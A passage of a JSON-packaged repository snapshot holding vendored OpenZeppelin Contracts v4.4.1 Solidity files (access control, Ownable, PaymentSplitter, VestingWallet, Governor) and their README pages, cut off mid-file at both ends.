    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/AccessControlEnumerable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IAccessControlEnumerable.sol\";\nimport \"./AccessControl.sol\";\nimport \"../utils/structs/EnumerableSet.sol\";\n\n/**\n * @dev Extension of {AccessControl} that allows enumerating the members of each role.\n */\nabstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {\n    using EnumerableSet for EnumerableSet.AddressSet;\n\n    mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n        return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);\n    }\n\n    /**\n     * @dev Returns one of the accounts that have `role`. `index` must be a\n     * value between 0 and {getRoleMemberCount}, non-inclusive.\n     *\n     * Role bearers are not sorted in any particular way, and their ordering may\n     * change at any point.\n     *\n     * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure\n     * you perform all queries on the same block. See the following\n     * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]\n     * for more information.\n     */\n    function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {\n        return _roleMembers[role].at(index);\n    }\n\n    /**\n     * @dev Returns the number of accounts that have `role`. Can be used\n     * together with {getRoleMember} to enumerate all bearers of a role.\n     */\n    function getRoleMemberCount(bytes32 role) public view override returns (uint256) {\n        return _roleMembers[role].length();\n    }\n\n    /**\n     * @dev Overload {_grantRole} to track enumerable memberships\n     */\n    function _grantRole(bytes32 role, address account) internal virtual override {\n        super._grantRole(role, account);\n        _roleMembers[role].add(account);\n    }\n\n    /**\n     * @dev Overload {_revokeRole} to track enumerable memberships\n     */\n    function _revokeRole(bytes32 role, address account) internal virtual override {\n        super._revokeRole(role, account);\n        _roleMembers[role].remove(account);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/access/IAccessControl.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev External interface of AccessControl declared to support ERC165 detection.\n */\ninterface IAccessControl {\n    /**\n     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\n     *\n     * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\n     * {RoleAdminChanged} not being emitted signaling this.\n     *\n     * _Available since v3.1._\n     */\n    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\n\n    /**\n     * @dev Emitted when `account` is granted `role`.\n     *\n     * `sender` is the account that originated the contract call, an admin role\n     * bearer except when using {AccessControl-_setupRole}.\n     */\n    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\n\n    /**\n     * @dev Emitted when `account` is revoked `role`.\n     *\n     * `sender` is the account that originated the contract call:\n     *   - if using `revokeRole`, it is the admin role bearer\n     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)\n     */\n    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\n\n    /**\n     * @dev Returns `true` if `account` has been granted `role`.\n     */\n    function hasRole(bytes32 role, address account) external view returns (bool);\n\n    /**\n     * @dev Returns the admin role that controls `role`. See {grantRole} and\n     * {revokeRole}.\n     *\n     * To change a role's admin, use {AccessControl-_setRoleAdmin}.\n     */\n    function getRoleAdmin(bytes32 role) external view returns (bytes32);\n\n    /**\n     * @dev Grants `role` to `account`.\n     *\n     * If `account` had not been already granted `role`, emits a {RoleGranted}\n     * event.\n     *\n     * Requirements:\n     *\n     * - the caller must have ``role``'s admin role.\n     */\n    function grantRole(bytes32 role, address account) external;\n\n    /**\n     * @dev Revokes `role` from `account`.\n     *\n     * If `account` had been granted `role`, emits a {RoleRevoked} event.\n     *\n     * Requirements:\n     *\n     * - the caller must have ``role``'s admin role.\n     */\n    function revokeRole(bytes32 role, address account) external;\n\n    /**\n     * @dev Revokes `role` from the calling account.\n     *\n     * Roles are often managed via {grantRole} and {revokeRole}: this function's\n     * purpose is to provide a mechanism for accounts to lose their privileges\n     * if they are compromised (such as when a trusted device is misplaced).\n     *\n     * If the calling account had been granted `role`, emits a {RoleRevoked}\n     * event.\n     *\n     * Requirements:\n     *\n     * - the caller must be `account`.\n     */\n    function renounceRole(bytes32 role, address account) external;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/access/IAccessControlEnumerable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IAccessControl.sol\";\n\n/**\n * @dev External interface of AccessControlEnumerable declared to support ERC165 detection.\n */\ninterface IAccessControlEnumerable is IAccessControl {\n    /**\n     * @dev Returns one of the accounts that have `role`. `index` must be a\n     * value between 0 and {getRoleMemberCount}, non-inclusive.\n     *\n     * Role bearers are not sorted in any particular way, and their ordering may\n     * change at any point.\n     *\n     * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure\n     * you perform all queries on the same block. See the following\n     * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]\n     * for more information.\n     */\n    function getRoleMember(bytes32 role, uint256 index) external view returns (address);\n\n    /**\n     * @dev Returns the number of accounts that have `role`. Can be used\n     * together with {getRoleMember} to enumerate all bearers of a role.\n     */\n    function getRoleMemberCount(bytes32 role) external view returns (uint256);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/access/Ownable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n    address private _owner;\n\n    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n    /**\n     * @dev Initializes the contract setting the deployer as the initial owner.\n     */\n    constructor() {\n        _transferOwnership(_msgSender());\n    }\n\n    /**\n     * @dev Returns the address of the current owner.\n     */\n    function owner() public view virtual returns (address) {\n        return _owner;\n    }\n\n    /**\n     * @dev Throws if called by any account other than the owner.\n     */\n    modifier onlyOwner() {\n        require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n        _;\n    }\n\n    /**\n     * @dev Leaves the contract without owner. It will not be possible to call\n     * `onlyOwner` functions anymore. Can only be called by the current owner.\n     *\n     * NOTE: Renouncing ownership will leave the contract without an owner,\n     * thereby removing any functionality that is only available to the owner.\n     */\n    function renounceOwnership() public virtual onlyOwner {\n        _transferOwnership(address(0));\n    }\n\n    /**\n     * @dev Transfers ownership of the contract to a new account (`newOwner`).\n     * Can only be called by the current owner.\n     */\n    function transferOwnership(address newOwner) public virtual onlyOwner {\n        require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n        _transferOwnership(newOwner);\n    }\n\n    /**\n     * @dev Transfers ownership of the contract to a new account (`newOwner`).\n     * Internal function without access restriction.\n     */\n    function _transferOwnership(address newOwner) internal virtual {\n        address oldOwner = _owner;\n        _owner = newOwner;\n        emit OwnershipTransferred(oldOwner, newOwner);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/access/README.adoc",
    "content": "= Access Control\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/access\n\nThis directory provides ways to restrict who can access the functions of a contract or when they can do it.\n\n- {AccessControl} provides a general role based access control mechanism. Multiple hierarchical roles can be created and assigned each to multiple accounts.\n- {Ownable} is a simpler mechanism with a single owner \"role\" that can be assigned to a single account. This simpler mechanism can be useful for quick tests but projects with production concerns are likely to outgrow it.\n\n== Authorization\n\n{{Ownable}}\n\n{{IAccessControl}}\n\n{{AccessControl}}\n\n{{IAccessControlEnumerable}}\n\n{{AccessControlEnumerable}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/finance/PaymentSplitter.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/utils/SafeERC20.sol\";\nimport \"../utils/Address.sol\";\nimport \"../utils/Context.sol\";\n\n/**\n * @title PaymentSplitter\n * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware\n * that the Ether will be split in this way, since it is handled transparently by the contract.\n *\n * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each\n * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim\n * an amount proportional to the percentage of total shares they were assigned.\n *\n * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the\n * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}\n * function.\n *\n * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and\n * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you\n * to run tests before sending real value to this contract.\n */\ncontract PaymentSplitter is Context {\n    event PayeeAdded(address account, uint256 shares);\n    event PaymentReleased(address to, uint256 amount);\n    event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount);\n    event PaymentReceived(address from, uint256 amount);\n\n    uint256 private _totalShares;\n    uint256 private _totalReleased;\n\n    mapping(address => uint256) private _shares;\n    mapping(address => uint256) private _released;\n    address[] private _payees;\n\n    mapping(IERC20 => uint256) private _erc20TotalReleased;\n    mapping(IERC20 => mapping(address => uint256)) private _erc20Released;\n\n    /**\n     * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at\n     * the matching position in the `shares` array.\n     *\n     * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no\n     * duplicates in `payees`.\n     */\n    constructor(address[] memory payees, uint256[] memory shares_) payable {\n        require(payees.length == shares_.length, \"PaymentSplitter: payees and shares length mismatch\");\n        require(payees.length > 0, \"PaymentSplitter: no payees\");\n\n        for (uint256 i = 0; i < payees.length; i++) {\n            _addPayee(payees[i], shares_[i]);\n        }\n    }\n\n    /**\n     * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully\n     * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the\n     * reliability of the events, and not the actual splitting of Ether.\n     *\n     * To learn more about this see the Solidity documentation for\n     * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback\n     * functions].\n     */\n    receive() external payable virtual {\n        emit PaymentReceived(_msgSender(), msg.value);\n    }\n\n    /**\n     * @dev Getter for the total shares held by payees.\n     */\n    function totalShares() public view returns (uint256) {\n        return _totalShares;\n    }\n\n    /**\n     * @dev Getter for the total amount of Ether already released.\n     */\n    function totalReleased() public view returns (uint256) {\n        return _totalReleased;\n    }\n\n    /**\n     * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20\n     * contract.\n     */\n    function totalReleased(IERC20 token) public view returns (uint256) {\n        return _erc20TotalReleased[token];\n    }\n\n    /**\n     * @dev Getter for the amount of shares held by an account.\n     */\n    function shares(address account) public view returns (uint256) {\n        return _shares[account];\n    }\n\n    /**\n     * @dev Getter for the amount of Ether already released to a payee.\n     */\n    function released(address account) public view returns (uint256) {\n        return _released[account];\n    }\n\n    /**\n     * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an\n     * IERC20 contract.\n     */\n    function released(IERC20 token, address account) public view returns (uint256) {\n        return _erc20Released[token][account];\n    }\n\n    /**\n     * @dev Getter for the address of the payee number `index`.\n     */\n    function payee(uint256 index) public view returns (address) {\n        return _payees[index];\n    }\n\n    /**\n     * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the\n     * total shares and their previous withdrawals.\n     */\n    function release(address payable account) public virtual {\n        require(_shares[account] > 0, \"PaymentSplitter: account has no shares\");\n\n        uint256 totalReceived = address(this).balance + totalReleased();\n        uint256 payment = _pendingPayment(account, totalReceived, released(account));\n\n        require(payment != 0, \"PaymentSplitter: account is not due payment\");\n\n        _released[account] += payment;\n        _totalReleased += payment;\n\n        Address.sendValue(account, payment);\n        emit PaymentReleased(account, payment);\n    }\n\n    /**\n     * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their\n     * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20\n     * contract.\n     */\n    function release(IERC20 token, address account) public virtual {\n        require(_shares[account] > 0, \"PaymentSplitter: account has no shares\");\n\n        uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token);\n        uint256 payment = _pendingPayment(account, totalReceived, released(token, account));\n\n        require(payment != 0, \"PaymentSplitter: account is not due payment\");\n\n        _erc20Released[token][account] += payment;\n        _erc20TotalReleased[token] += payment;\n\n        SafeERC20.safeTransfer(token, account, payment);\n        emit ERC20PaymentReleased(token, account, payment);\n    }\n\n    /**\n     * @dev internal logic for computing the pending payment of an `account` given the token historical balances and\n     * already released amounts.\n     */\n    function _pendingPayment(\n        address account,\n        uint256 totalReceived,\n        uint256 alreadyReleased\n    ) private view returns (uint256) {\n        return (totalReceived * _shares[account]) / _totalShares - alreadyReleased;\n    }\n\n    /**\n     * @dev Add a new payee to the contract.\n     * @param account The address of the payee to add.\n     * @param shares_ The number of shares owned by the payee.\n     */\n    function _addPayee(address account, uint256 shares_) private {\n        require(account != address(0), \"PaymentSplitter: account is the zero address\");\n        require(shares_ > 0, \"PaymentSplitter: shares are 0\");\n        require(_shares[account] == 0, \"PaymentSplitter: account already has shares\");\n\n        _payees.push(account);\n        _shares[account] = shares_;\n        _totalShares = _totalShares + shares_;\n        emit PayeeAdded(account, shares_);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/finance/README.adoc",
    "content": "= Finance\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/finance\n\nThis directory includes primitives for financial systems:\n\n- {PaymentSplitter} allows to split Ether and ERC20 payments among a group of accounts. The sender does not need to be\n  aware that the assets will be split in this way, since it is handled transparently by the contract. The split can be\n  in equal parts or in any other arbitrary proportion.\n\n- {VestingWallet} handles the vesting of Ether and ERC20 tokens for a given beneficiary. Custody of multiple tokens can\n  be given to this contract, which will release the token to the beneficiary following a given, customizable, vesting\n  schedule.\n\n== Contracts\n\n{{PaymentSplitter}}\n\n{{VestingWallet}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/finance/VestingWallet.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (finance/VestingWallet.sol)\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/utils/SafeERC20.sol\";\nimport \"../utils/Address.sol\";\nimport \"../utils/Context.sol\";\nimport \"../utils/math/Math.sol\";\n\n/**\n * @title VestingWallet\n * @dev This contract handles the vesting of Eth and ERC20 tokens for a given beneficiary. Custody of multiple tokens\n * can be given to this contract, which will release the token to the beneficiary following a given vesting schedule.\n * The vesting schedule is customizable through the {vestedAmount} function.\n *\n * Any token transferred to this contract will follow the vesting schedule as if they were locked from the beginning.\n * Consequently, if the vesting has already started, any amount of tokens sent to this contract will (at least partly)\n * be immediately releasable.\n */\ncontract VestingWallet is Context {\n    event EtherReleased(uint256 amount);\n    event ERC20Released(address indexed token, uint256 amount);\n\n    uint256 private _released;\n    mapping(address => uint256) private _erc20Released;\n    address private immutable _beneficiary;\n    uint64 private immutable _start;\n    uint64 private immutable _duration;\n\n    /**\n     * @dev Set the beneficiary, start timestamp and vesting duration of the vesting wallet.\n     */\n    constructor(\n        address beneficiaryAddress,\n        uint64 startTimestamp,\n        uint64 durationSeconds\n    ) {\n        require(beneficiaryAddress != address(0), \"VestingWallet: beneficiary is zero address\");\n        _beneficiary = beneficiaryAddress;\n        _start = startTimestamp;\n        _duration = durationSeconds;\n    }\n\n    /**\n     * @dev The contract should be able to receive Eth.\n     */\n    receive() external payable virtual {}\n\n    /**\n     * @dev Getter for the beneficiary address.\n     */\n    function beneficiary() public view virtual returns (address) {\n        return _beneficiary;\n    }\n\n    /**\n     * @dev Getter for the start timestamp.\n     */\n    function start() public view virtual returns (uint256) {\n        return _start;\n    }\n\n    /**\n     * @dev Getter for the vesting duration.\n     */\n    function duration() public view virtual returns (uint256) {\n        return _duration;\n    }\n\n    /**\n     * @dev Amount of eth already released\n     */\n    function released() public view virtual returns (uint256) {\n        return _released;\n    }\n\n    /**\n     * @dev Amount of token already released\n     */\n    function released(address token) public view virtual returns (uint256) {\n        return _erc20Released[token];\n    }\n\n    /**\n     * @dev Release the native token (ether) that have already vested.\n     *\n     * Emits a {TokensReleased} event.\n     */\n    function release() public virtual {\n        uint256 releasable = vestedAmount(uint64(block.timestamp)) - released();\n        _released += releasable;\n        emit EtherReleased(releasable);\n        Address.sendValue(payable(beneficiary()), releasable);\n    }\n\n    /**\n     * @dev Release the tokens that have already vested.\n     *\n     * Emits a {TokensReleased} event.\n     */\n    function release(address token) public virtual {\n        uint256 releasable = vestedAmount(token, uint64(block.timestamp)) - released(token);\n        _erc20Released[token] += releasable;\n        emit ERC20Released(token, releasable);\n        SafeERC20.safeTransfer(IERC20(token), beneficiary(), releasable);\n    }\n\n    /**\n     * @dev Calculates the amount of ether that has already vested. Default implementation is a linear vesting curve.\n     */\n    function vestedAmount(uint64 timestamp) public view virtual returns (uint256) {\n        return _vestingSchedule(address(this).balance + released(), timestamp);\n    }\n\n    /**\n     * @dev Calculates the amount of tokens that has already vested. Default implementation is a linear vesting curve.\n     */\n    function vestedAmount(address token, uint64 timestamp) public view virtual returns (uint256) {\n        return _vestingSchedule(IERC20(token).balanceOf(address(this)) + released(token), timestamp);\n    }\n\n    /**\n     * @dev Virtual implementation of the vesting formula. This returns the amout vested, as a function of time, for\n     * an asset given its total historical allocation.\n     */\n    function _vestingSchedule(uint256 totalAllocation, uint64 timestamp) internal view virtual returns (uint256) {\n        if (timestamp < start()) {\n            return 0;\n        } else if (timestamp > start() + duration()) {\n            return totalAllocation;\n        } else {\n            return (totalAllocation * (timestamp - start())) / duration();\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/Governor.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/Governor.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/cryptography/ECDSA.sol\";\nimport \"../utils/cryptography/draft-EIP712.sol\";\nimport \"../utils/introspection/ERC165.sol\";\nimport \"../utils/math/SafeCast.sol\";\nimport \"../utils/Address.sol\";\nimport \"../utils/Context.sol\";\nimport \"../utils/Timers.sol\";\nimport \"./IGovernor.sol\";\n\n/**\n * @dev Core of the governance system, designed to be extended though various modules.\n *\n * This contract is abstract and requires several function to be implemented in various modules:\n *\n * - A counting module must implement {quorum}, {_quorumReached}, {_voteSucceeded} and {_countVote}\n * - A voting module must implement {getVotes}\n * - Additionanly, the {votingPeriod} must also be implemented\n *\n * _Available since v4.3._\n */\nabstract contract Governor is Context, ERC165, EIP712, IGovernor {\n    using SafeCast for uint256;\n    using Timers for Timers.BlockNumber;\n\n    bytes32 public constant BALLOT_TYPEHASH = keccak256(\"Ballot(uint256 proposalId,uint8 support)\");\n\n    struct ProposalCore {\n        Timers.BlockNumber voteStart;\n        Timers.BlockNumber voteEnd;\n        bool executed;\n        bool canceled;\n    }\n\n    string private _name;\n\n    mapping(uint256 => ProposalCore) private _proposals;\n\n    /**\n     * @dev Restrict access to governor executing address. Some module might override the _executor function to make\n     * sure this modifier is consistant with the execution model.\n     */\n    modifier onlyGovernance() {\n        require(_msgSender() == _executor(), \"Governor: onlyGovernance\");\n        _;\n    }\n\n    /**\n     * @dev Sets the value for {name} and {version}\n     */\n    constructor(string memory name_) EIP712(name_, version()) {\n        _name = name_;\n    }\n\n    /**\n     * @dev Function to receive ETH that will be handled by the governor (disabled if executor is a third party contract)\n     */\n    receive() external payable virtual {\n        require(_executor() == address(this));\n    }\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165) returns (bool) {\n        return interfaceId == type(IGovernor).interfaceId || super.supportsInterface(interfaceId);\n    }\n\n    /**\n     * @dev See {IGovernor-name}.\n     */\n    function name() public view virtual override returns (string memory) {\n        return _name;\n    }\n\n    /**\n     * @dev See {IGovernor-version}.\n     */\n    function version() public view virtual override returns (string memory) {\n        return \"1\";\n    }\n\n    /**\n     * @dev See {IGovernor-hashProposal}.\n     *\n     * The proposal id is produced by hashing the RLC encoded `targets` array, the `values` array, the `calldatas` array\n     * and the descriptionHash (bytes32 which itself is the keccak256 hash of the description string). This proposal id\n     * can be produced from the proposal data which is part of the {ProposalCreated} event. It can even be computed in\n     * advance, before the proposal is submitted.\n     *\n     * Note that the chainId and the governor address are not part of the proposal id computation. Consequently, the\n     * same proposal (with same operation and same description) will have the same id if submitted on multiple governors\n     * accross multiple networks. This also means that in order to execute the same operation twice (on the same\n     * governor) the proposer will have to change the description in order to avoid proposal id conflicts.\n     */\n    function hashProposal(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) public pure virtual override returns (uint256) {\n        return uint256(keccak256(abi.encode(targets, values, calldatas, descriptionHash)));\n    }\n\n    /**\n     * @dev See {IGovernor-state}.\n     */\n    function state(uint256 proposalId) public view virtual override returns (ProposalState) {\n        ProposalCore memory proposal = _proposals[proposalId];\n\n        if (proposal.executed) {\n            return ProposalState.Executed;\n        } else if (proposal.canceled) {\n            return ProposalState.Canceled;\n        } else if (proposal.voteStart.getDeadline() >= block.number) {\n            return ProposalState.Pending;\n        } else if (proposal.voteEnd.getDeadline() >= block.number) {\n            return ProposalState.Active;\n        } else if (proposal.voteEnd.isExpired()) {\n            return\n                _quorumReached(proposalId) && _voteSucceeded(proposalId)\n                    ? ProposalState.Succeeded\n                    : ProposalState.Defeated;\n        } else {\n            revert(\"Governor: unknown proposal id\");\n        }\n    }\n\n    /**\n     * @dev See {IGovernor-proposalSnapshot}.\n     */\n    function proposalSnapshot(uint256 proposalId) public view virtual override returns (uint256) {\n        return _proposals[proposalId].voteStart.getDeadline();\n    }\n\n    /**\n     * @dev See {IGovernor-proposalDeadline}.\n     */\n    function proposalDeadline(uint256 proposalId) public view virtual override returns (uint256) {\n        return _proposals[proposalId].voteEnd.getDeadline();\n    }\n\n    /**\n     * @dev Part of the Governor Bravo's interface: _\"The number of votes required in order for a voter to become a proposer\"_.\n     */\n    function proposalThreshold() public view virtual returns (uint256) {\n        return 0;\n    }\n\n    /**\n     * @dev Amount of votes already cast passes the threshold limit.\n     */\n    function _quorumReached(uint256 proposalId) internal view virtual returns (bool);\n\n    /**\n     * @dev Is the proposal successful or not.\n     */\n    function _voteSucceeded(uint256 proposalId) internal view virtual returns (bool);\n\n    /**\n     * @dev Register a vote with a given support and voting weight.\n     *\n     * Note: Support is generic and can represent various things depending on the voting system used.\n     */\n    function _countVote(\n        uint256 proposalId,\n        address account,\n        uint8 support,\n        uint256 weight\n    ) internal virtual;\n\n    /**\n     * @dev See {IGovernor-propose}.\n     */\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        string memory description\n    ) public virtual override returns (uint256) {\n        require(\n            getVotes(msg.sender, block.number - 1) >= proposalThreshold(),\n            \"GovernorCompatibilityBravo: proposer votes below proposal threshold\"\n        );\n\n        uint256 proposalId = hashProposal(targets, values, calldatas, keccak256(bytes(description)));\n\n        require(targets.length == values.length, \"Governor: invalid proposal length\");\n        require(targets.length == calldatas.length, \"Governor: invalid proposal length\");\n        require(targets.length > 0, \"Governor: empty proposal\");\n\n        ProposalCore storage proposal = _proposals[proposalId];\n        require(proposal.voteStart.isUnset(), \"Governor: proposal already exists\");\n\n        uint64 snapshot = block.number.toUint64() + votingDelay().toUint64();\n        uint64 deadline = snapshot + votingPeriod().toUint64();\n\n        proposal.voteStart.setDeadline(snapshot);\n        proposal.voteEnd.setDeadline(deadline);\n\n        emit ProposalCreated(\n            proposalId,\n            _msgSender(),\n            targets,\n            values,\n            new string[](targets.length),\n            calldatas,\n            snapshot,\n            deadline,\n            description\n        );\n\n        return proposalId;\n    }\n\n    /**\n     * @dev See {IGovernor-execute}.\n     */\n    function execute(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) public payable virtual override returns (uint256) {\n        uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);\n\n        ProposalState status = state(proposalId);\n        require(\n            status == ProposalState.Succeeded || status == ProposalState.Queued,\n            \"Governor: proposal not successful\"\n        );\n        _proposals[proposalId].executed = true;\n\n        emit ProposalExecuted(proposalId);\n\n        _execute(proposalId, targets, values, calldatas, descriptionHash);\n\n        return proposalId;\n    }\n\n    /**\n     * @dev Internal execution mechanism. Can be overriden to implement different execution mechanism\n     */\n    function _execute(\n        uint256, /* proposalId */\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 /*descriptionHash*/\n    ) internal virtual {\n        string memory errorMessage = \"Governor: call reverted without message\";\n        for (uint256 i = 0; i < targets.length; ++i) {\n            (bool success, bytes memory returndata) = targets[i].call{value: values[i]}(calldatas[i]);\n            Address.verifyCallResult(success, returndata, errorMessage);\n        }\n    }\n\n    /**\n     * @dev Internal cancel mechanism: locks up the proposal timer, preventing it from being re-submitted. Marks it as\n     * canceled to allow distinguishing it from executed proposals.\n     *\n     * Emits a {IGovernor-ProposalCanceled} event.\n     */\n    function _cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal virtual returns (uint256) {\n        uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);\n        ProposalState status = state(proposalId);\n\n        require(\n            status != ProposalState.Canceled && status != ProposalState.Expired && status != ProposalState.Executed,\n            \"Governor: proposal not active\"\n        );\n        _proposals[proposalId].canceled = true;\n\n        emit ProposalCanceled(proposalId);\n\n        return proposalId;\n    }\n\n    /**\n     * @dev See {IGovernor-castVote}.\n     */\n    function castVote(uint256 proposalId, uint8 support) public virtual override returns (uint256) {\n        address voter = _msgSender();\n        return _castVote(proposalId, voter, support, \"\");\n    }\n\n    /**\n     * @dev See {IGovernor-castVoteWithReason}.\n     */\n    function castVoteWithReason(\n        uint256 proposalId,\n        uint8 support,\n        string calldata reason\n    ) public virtual override returns (uint256) {\n        address voter = _msgSender();\n        return _castVote(proposalId, voter, support, reason);\n    }\n\n    /**\n     * @dev See {IGovernor-castVoteBySig}.\n     */\n    function castVoteBySig(\n        uint256 proposalId,\n        uint8 support,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) public virtual override returns (uint256) {\n        address voter = ECDSA.recover(\n            _hashTypedDataV4(keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support))),\n            v,\n            r,\n            s\n        );\n        return _castVote(proposalId, voter, support, \"\");\n    }\n\n    /**\n     * @dev Internal vote casting mechanism: Check that the vote is pending, that it has not been cast yet, retrieve\n     * voting weight using {IGovernor-getVotes} and call the {_countVote} internal function.\n     *\n     * Emits a {IGovernor-VoteCast} event.\n     */\n    function _castVote(\n        uint256 proposalId,\n        address account,\n        uint8 support,\n        string memory reason\n    ) internal virtual returns (uint256) {\n        ProposalCore storage proposal = _proposals[proposalId];\n        require(state(proposalId) == ProposalState.Active, \"Governor: vote not currently active\");\n\n        uint256 weight = getVotes(account, proposal.voteStart.getDeadline());\n        _countVote(proposalId, account, support, weight);\n\n        emit VoteCast(account, proposalId, support, weight, reason);\n\n        return weight;\n    }\n\n    /**\n     * @dev Address through which the governor executes action. Will be overloaded by module that execute actions\n     * through another contract such as a timelock.\n     */\n    function _executor() internal view virtual returns (address) {\n        return address(this);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/IGovernor.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/IGovernor.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Interface of the {Governor} core.\n *\n * _Available since v4.3._\n */\nabstract contract IGovernor is IERC165 {\n    enum ProposalState {\n        Pending,\n        Active,\n        Canceled,\n        Defeated,\n        Succeeded,\n        Queued,\n        Expired,\n        Executed\n    }\n\n    /**\n     * @dev Emitted when a proposal is created.\n     */\n    event ProposalCreated(\n        uint256 proposalId,\n        address proposer,\n        address[] targets,\n        uint256[] values,\n        string[] signatures,\n        bytes[] calldatas,\n        uint256 startBlock,\n        uint256 endBlock,\n        string description\n    );\n\n    /**\n     * @dev Emitted when a proposal is canceled.\n     */\n    event ProposalCanceled(uint256 proposalId);\n\n    /**\n     * @dev Emitted when a proposal is executed.\n     */\n    event ProposalExecuted(uint256 proposalId);\n\n    /**\n     * @dev Emitted when a vote is cast.\n     *\n     * Note: `support` values should be seen as buckets. There interpretation depends on the voting module used.\n     